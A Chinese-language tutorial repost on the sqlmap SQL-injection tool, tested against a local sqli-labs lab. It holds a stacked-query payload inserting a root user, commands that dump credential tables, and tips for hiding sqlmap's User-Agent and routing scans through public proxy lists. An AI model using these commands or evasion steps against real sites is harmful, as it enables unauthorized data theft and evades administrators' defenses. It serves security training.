SQLMAP的使用

这篇具有很好参考价值的文章主要介绍了SQLMAP的使用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一、SQLMAP 介绍

1、SQLMAP 简介

2、SQLMAP 支持的注入类型

3、运行 sqlmap

4、SQLMAP 常用参数介绍   

 二、SQLMAP 常用探测方式

1、探测单个目标

2、探测多个目标

3、从文件加载 HTTP 请求进行探测

4、从 burpsuite 日志记录中进行探测

5、检测 SQL 注入漏洞存在的技术类型

6、枚举数据库信息

三、SQLMAP 请求参数

1、默认的请求参数

2、修改默认请求参数

3、使用代理进行探测

4、忽略未验证错误

5、sqlmap 安全模式

6、关闭 URL 编码


一、SQLMAP 介绍

1、SQLMAP 简介

SQLmap 是一款用来检测与利用 SQL 注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与 利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
官方网站下载 http://sqlmap.org/
        
sqlmap使用,安全,安全,sql,数据库

        

2、SQLMAP 支持的注入类型

sqlmap 支持 5 种漏洞检测类型:
1. 基于布尔的盲注检测
2. 基于时间的盲注检测
3. 基于错误的检测
4. 基于 union 联合查询的检测
5. 基于堆叠查询的检测
        
拓展:堆叠查询注入 Less-38
http://192.168.1.63/sqli-labs/Less-38/?id=1 '; insert into users(id,username,password)
values ('66','root','123')--+
使用;分号来直接添加一条新的 SQL 语句来进行执行就是堆叠查询注入。
例:
        
sqlmap使用,安全,安全,sql,数据库

                 

3、运行 sqlmap

Kali 中运行 sqlmap 的方式
        
sqlmap使用,安全,安全,sql,数据库
其实这种方法其实就是在终端执行了 sqlmap -h 这样一条命令
└─# sqlmap -h
        

4、SQLMAP 常用参数介绍

sqlmap --version         #查看 sqlmap 版本信息.
-h                                  #查看功能参数(常用的)
-hh                                #查看所有的参数 (如果有中文包 就最好了)
-v                                  #显示更详细的信息 一共 7 级, 从 0-6.默认为 1, 数值越大,信息显示越 详细.
Target                           #(指定目标):
-d                                  #直接连接数据库侦听端口,类似于把自己当一个客户端来连接.
-u                                  #指定 url 扫描,但 url 必须存在查询参数. 例: xxx.php?id=1
-l                                   #指定 logfile 文件进行扫描,可以结合 burp 把访问的记录保存成一个 log 文件, sqlmap 可以直接加载 burp 保存到 log 文件进行扫描
-m                                 #如果有多个 url 地址,可以把多个 url 保存成一个文本文件 -m 可以加载 文本文件逐个扫描
-r                                  #把 http 的请求头,body 保存成一个文件 统一提交给 sqlmap,sqlmap 会读取内容进行拼接请求体
--timeout                     #指定超时时间
--retries                       #指定重试次数
--skip-urlencode          #不进行 URL 加密

        

 二、SQLMAP 常用探测方式

1、探测单个目标

选项:-u 或者--url
针对单个 URL 进行 SQL 注入探测
                
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.103/sqli-labs/Less-1/?id=1"

        

2、探测多个目标

新建一个文本文件插入 3 条 URL 地址
┌──(root💀kali)-[~]
└─# vim xuegod.txt
http://192.168.1.103/sqli-labs/Less-1/?id=1
http://192.168.1.103/sqli-labs/Less-2/?id=1
http://192.168.1.103/sqli-labs/Less-3/?id=1
└─# sqlmap -m xuegod.txt --dbs --users
-m                      #指定文件进行探测
--dbs                  #探测可用数据库名称
--users              #探测数据库用户名称
        
                
无交互,使用默认方式进行探测。
└─# sqlmap -m xuegod.txt --dbs --users --batch
--batch #参数可以在探测过程中不使用交互式信息来询问我们是否继续探测。一切都使用默认
配置。
        

3、从文件加载 HTTP 请求进行探测

-r 用来指定 HTTP 请求文件
1、首先打开 burpsuite,关闭 intercept 功能。
2、打开浏览器,访问 http://192.168.1.102/sqli-labs/Less-20/,并在 Username 输入 admin,
Password 输入 admin,并提交。
        
注: 我们需要抓取登录以后存在 cookie 的 HTTP 请求
        
sqlmap使用,安全,安全,sql,数据库

         

┌──(root💀kali)-[~]
└─# vim cookie.txt  

GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: 192.168.1.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.102/sqli-labs/Less-20/
Connection: close
Cookie: uname=admin
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0 

└─# sqlmap -r cookie.txt --level 3 --batch dbs
--level 检测级别,取值(1-5)默认情况下 Sqlmap 会测试所有 GET 参数和 POST 参数,当 level 大于等于 2 时会测试 cookie 参数,当 level 大于等于 3 时会测试 User-Agent 和 Referer,当 level=5 时会测试 Host 头

         

sqlmap使用,安全,安全,sql,数据库

         

4、从 burpsuite 日志记录中进行探测

Burpsuite 开启日志记录        

sqlmap使用,安全,安全,sql,数据库

浏览器中访问几个页面进行测试
http://192.168.1.63/sqli-labs/Less-1/?id=1
http://192.168.1.63/sqli-labs/Less-2/?id=1
http://192.168.1.63/sqli-labs/Less-3/?id=1
http://192.168.1.63/sqli-labs/Less-4/?id=1
全部点击放行          
        
      
使用日志文件进行探测
└─# sqlmap -l burpsuite.txt --leve 3 --dbs --batch
        
        

5、检测 SQL 注入漏洞存在的技术类型

--technique=TECH SQL injection techniques to use (default "BEUSTQ")
--technique
B: Boolean-based blind(布尔盲注)
E: Error-based(报错注入)            
U: Union query-based(联合查询注入)
S: Stacked queries(文件系统,操作系统,注册表相关注入)
T: Time-based blind(时间盲注)
默认全部使用
注:当使用 sqlmap 要读取目标系统上文件,或对目标系统进行指令的操作,或者对读取目标系统
注册表(windows)的话,需要使用 S。
        
sqlmap使用,安全,安全,sql,数据库

         

例 1:指定使用布尔型探测
        
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --technique=B --batch
        
        

6、枚举数据库信息

--dbs                 #枚举数据库名称
--tables             #枚举表名称
--columns         #枚举字段名称
        
例 1:获取数据库名称
        
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --dbs
        
        
例 2:获取表名称
        
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security --tables
-D
#指定数据库进行枚举表名称
                
        
例 3:获取字段名称
获取 security 数据库中 users 表中的字段名称
        
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security -T users --
columns
        
获取 security 数据库中所有表的字段名称
        
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" -D security --tables --
columns
        
        
例 4:获取字段数据
└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --dump -D security -T
users -C "username,password"
--dump                 #转储获取到的数据库信息。
-C                         #指定字段
        
        

三、SQLMAP 请求参数

1、默认的请求参数

打开 WireShark 关闭混杂模式进行抓包,捕获过滤器:192.168.1.102
执行探测任务
        
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.1.102/sqli-labs/Less-1/?id=1" --batch
执行完成后停止抓包

         sqlmap使用,安全,安全,sql,数据库

可以看到默认的 User-Agent 为:User-Agent: sqlmap/1.5.2#stable (http://sqlmap.org)\r\n
SQLMAP 的特征非常明显,网站管理员可以通过这些明显的特征对我们的访问进行过滤。

        

2、修改默认请求参数

例 1:手动指定请求参数
        
└─# sqlmap -u "http://192.168.1.102/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0
(X11; Linux x86_64; rv:68.0) Gecko/20100101" --batch
--user-agent                 #手动指定 User-Agent 内容
        

例 2:随机修改请求参数 

└─# sqlmap -u "http://192.168.1.63/sqli-labs/Less-1/?id=1" --random-agent --batch

         

3、使用代理进行探测

 使用代理进行探测时,是不能够探测内网目标的,除非目标在公网也能够正常访问。文章来源地址https://www.toymoban.com/news/detail-735965.html

┌──(root💀kali)-[~]
└─# sqlmap -u "IP" --proxy
"http://49.86.177.212:9999" --delay="1" --random-agent --batch
        
例 2:使用多个代理地址进行探测
新建代理列表文件,填写多个代理地址。
        
└─# vim proxy.txt
http://36.248.132.30:9999
http://123.54.47.101:9999
http://114.239.150.47:9999
http://58.253.158.122:9999
http://49.89.143.236:9999
        
└─# sqlmap -u "IP" --proxy
file=/root/proxy.txt --delay 1 --random-agent --batch
--proxy-file 指定代理文件
       
         
        

4、忽略未验证错误

参数:
--ignore-401                 #忽略未验证错误
为什么要忽略错误呢?
原因是我们测试存在 HTTP 认证的网站时会提示我们输入用户名密码,如果没有输入密码会返回
401 错误,所以这个时候如果需要继续探测就需要忽略该错误。
        
        
        

5、sqlmap 安全模式

如果执行了一定数量的不成功请求,则 Web 应用程序或其间的检查技术会破坏会话。这可能发生在 sqlmap 的检测阶段或利用任何 SQL 盲注类型时。原因是 SQL 有效负载不一定返回输出,因此可能被应 用程序会话管理或检查技术检测到从而破坏会话。
        
--safe-url                           #测试期间经常访问的 URL 地址。
--safe-post                        #HTTP POST 数据发送到给定的安全 URL 地址。
--safe-req                          #从文件加载并使用安全的 HTTP 请求。
--safe-freq                         #在两次访问给定安全位置之间测试请求。
        
sqlmap 将访问每个预定义数量的请求,而不对 safe url 执行任何类型的注入。
        
        

6、关闭 URL 编码

参数:
--skip-urlencode
#这种情况用于后端服务器不遵循 RFC 标准(URL 编码的标准)并要求
数据以非编码方式进行传输。

到了这里,关于SQLMAP的使用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 渗透测试模拟(使用sqlmap进行sql注入漏洞判断,利用该漏洞进行挂马)

    环境:对某网站进行渗透测试。 (PHP+Mysql开发的网站,用于WEB漏洞教学和检测的) 工具:sqlmap(Kali Linux中自带or官网下载Windows版) 此次实验所涉及的sqlmap参数: 一、信息收集 二、漏洞挖掘 (1)判断网站是否存在sql注入漏洞 使用工具,sqlmap: sqlmap -u \\\"目标网站地址\\\" --ba

    2024年02月15日
    浏览(36)
  • SQL注入 - sqlmap联动burpsuite之burp4sqlmap++插件

    目录 sqlmap和burpsuite介绍 sqlmap4burp++介绍 sqlmap4burp++的使用 小插曲:sqlmap报错文件不存在怎么办? SqlMap sqlmap 是一款自动化检测与利用SQL注入漏洞的免费开源工具。 可用于检测利用五种不同类型的SQL注入: 布尔型盲注(Boolean-based blind)即可以根据返回页面判断条件真假的注入

    2024年03月12日
    浏览(46)
  • 【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了

    一、sqlmap简介 sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等 Sqlmap采用了以下5种独特的SQL注入技术 基于布尔类型的盲注,即可以根据

    2024年02月10日
    浏览(50)
  • SQL注入工具之SQLmap入门操作

    了解SQLmap 基础操作 SQLmap 是一款自动化的 SQL 注入工具,可以用于检测和利用SQL注入漏洞。 以下是 SQLmap 的入门操作步骤: 1.下载 SQLmap :可以从官方网站(https://sqlmap.org/)下载最新版本的SQLmap。 2.打开终端 :在终端中进入 SQLmap 所在的目录。 3.输入命令 :使用以下命令运行

    2024年02月21日
    浏览(31)
  • sqlmap中的--sql-shell

    之后就和sql中的命令一样 网页报错信息 phpinfo、探针 数据库查询、暴力破解 参看:常用的绝对路径收集 测试方法: 特殊字符测试是否转义成反斜杠 探针、phpinfo等 mysql写shell的条件 1、网站可访问路径的绝对路径 2、secure_file_priv 的值非NULL或包含了导出的绝对路径 secure_file

    2023年04月08日
    浏览(15)
  • 在kali linux里利用SQLmap实现SQL注入

    SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。 注意:sqlmap只是用来检测和利用sql注入点,并不

    2024年02月04日
    浏览(36)
  • WEB漏洞-SQL注入-利用SQLMAP工具绕过WAF

    访问使用阿里云搭建的网站(存在自带的阿里云盾)。 可以看到此时网站可以正常访问,可以进行正常注入。 使用工具进行注入。 可以看到在使用工具注入没多久后便返回了不存在注入点的信息。 因为经常会用到SQLMAP这款工具对注入点进行检测,在遇到WAF时,如果还想继续

    2024年02月12日
    浏览(36)
  • sqlmap 是一个自动化的 sql 注入渗透工具

    一.介绍 sqlmap 是一个自动化的 sql 注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程,并可用于执

    2024年01月23日
    浏览(38)
  • 【SQL注入】SQLMAP v1.7.11.1 汉化版

    【SQL注入】SQLMAP v1.7.11.1 汉化版 SQLMAP是一款开源的自动化SQL注入工具,用于扫描和利用Web应用程序中的SQL注入漏洞。它在安全测试领域被广泛应用,可用于检测和利用SQL注入漏洞,以验证应用程序的安全性。 SQL注入是一种常见的Web应用程序漏洞,攻击者可以通过在用户输入的

    2024年01月19日
    浏览(29)
  • 利用Sqlmap API接口联动Google Hacking批量SQL注入检测

    目录 前言 slghack自动化搜集URL Sqlmap API 脚本slghack_sqli 挖掘SQL注入漏洞的一种方式就是通过Google Hacking搜索那些可能存在SQL的URL,然后手工的探测注入点。但是现在的SQL注入漏洞的网站是比较少的了,所以这样一个一个手工测效率有一点低。 sqlmap比较好的一点是可批量扫描多个

    2024年04月14日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包